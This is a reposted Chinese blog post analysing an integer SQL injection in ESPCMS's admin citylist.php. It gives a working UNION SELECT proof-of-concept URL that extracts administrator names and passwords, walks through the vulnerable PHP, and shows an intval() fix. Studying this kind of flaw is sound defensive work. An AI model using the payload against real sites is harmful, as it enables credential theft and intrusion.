博客
关于我
ESPCMS /adminsoft/control/citylist.php Int SQLInjection Vul
阅读量:397 次
发布时间:2019-03-05

本文共 3150 字,大约阅读时间需要 10 分钟。

catalog

1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考

 

1. 漏洞描述

Relevant Link:

2. 漏洞触发条件

0x1: POC

http://127.0.0.1/ESPCMSV6/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1%20UNION%20select%201,2,concat%28name,0x7c,password%29,4,5%20FROM%20espcms_v6.espcms_admin_memberhttp://127.0.0.1/ESPCMSV6/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 UNION select 1,2,concat(name,0x7c,password),4,5 FROM espcms_v6.espcms_admin_member

3. 漏洞影响范围
4. 漏洞代码分析

/adminsoft/control/citylist.php

class important extends connector {    function important() {        $this->softbase(true);    }    function oncitylist() {        //接收外部参数parentid        $parentid = $this->fun->accept('parentid', 'R');         $parentid = empty($parentid) ? 1 : $parentid;        $verid = $this->fun->accept('verid', 'R');        $verid = empty($verid) ? 0 : $verid;        $db_table = db_prefix . 'city';        $sql = "select * from $db_table where parentid=$parentid";        die(var_dump($sql));        $rs = $this->db->query($sql);        for ($i = 0; $rsList = $this->db->fetch_array($rs); $i++) {            if ($verid == $rsList['id']) {                $list.='';            } else {                $list.='';            }        }        exit($list);    }}

继续跟进$parentid = $this->fun->accept('parentid', 'R');

/public/class_function.php

function accept($k, $var = 'R', $htmlcode = true, $rehtml = false) {        switch ($var) {            case 'G':                $var = &$_GET;                break;            case 'P':                $var = &$_POST;                break;            case 'C':                $var = &$_COOKIE;                break;            case 'R':                $var = &$_GET;                if (empty($var[$k])) {                    $var = &$_POST;                }                break;        }        //对输入进行了addslash转义,但是对Int整型注入没有效果        $putvalue = isset($var[$k]) ? $this->daddslashes($var[$k], 0) : NULL;         return $htmlcode ? ($rehtml ? $this->preg_htmldecode($putvalue) : $this->htmldecode($putvalue)) : $putvalue;    }

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2015-0163605

5. 防御方法

/adminsoft/control/citylist.php

class important extends connector {    function important() {        $this->softbase(true);    }    function oncitylist() {        //接收外部参数parentid        $parentid = $this->fun->accept('parentid', 'R');         /**/        $parentid = intval($parentid);        /**/        $parentid = empty($parentid) ? 1 : $parentid;        $verid = $this->fun->accept('verid', 'R');        $verid = empty($verid) ? 0 : $verid;        $db_table = db_prefix . 'city';        $sql = "select * from $db_table where parentid=$parentid";        die(var_dump($sql));        $rs = $this->db->query($sql);        for ($i = 0; $rsList = $this->db->fetch_array($rs); $i++) {            if ($verid == $rsList['id']) {                $list.='';            } else {                $list.='';            }        }        exit($list);    }}

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

 

转载地址:http://hjzkz.baihongyu.com/

你可能感兴趣的文章
系统编程-进程间通信-无名管道
查看>>
记2020年初对SimpleGUI源码的阅读成果
查看>>
C语言实现面向对象方法学的GLib、GObject-初体验
查看>>
系统编程-进程-ps命令、进程调度、优先级翻转、进程状态
查看>>
为什么我觉得需要熟悉vim使用,难道仅仅是为了耍酷?
查看>>
一个支持高网络吞吐量、基于机器性能评分的TCP负载均衡器gobalan
查看>>
HDOJ2017_字符串统计
查看>>
高等软工第二次作业《需求分析阶段总结》
查看>>
404 Note Found 团队会议纪要
查看>>
CentOS安装Docker-ce并配置国内镜像
查看>>
使用JWT作为Spring Security OAuth2的token存储
查看>>
使用Redis作为Spring Security OAuth2的token存储
查看>>
【SOLVED】Linux使用sudo到出现输入密码提示延迟时间长
查看>>
springmvc转springboot过程中访问jsp报Whitelabel Error Page错误
查看>>
项目引入非配置的文件,打成war包后测试报错的可能原因
查看>>
Git学习笔记
查看>>
SpringBoot笔记
查看>>
让你的代码更优秀的 14 条建议
查看>>
不需要爬虫也能轻松获取 unsplash 上的图片
查看>>
痞子衡嵌入式:语音处理工具pzh-speech诞生记(2)- 界面构建(wxFormBuilder3.8.0)
查看>>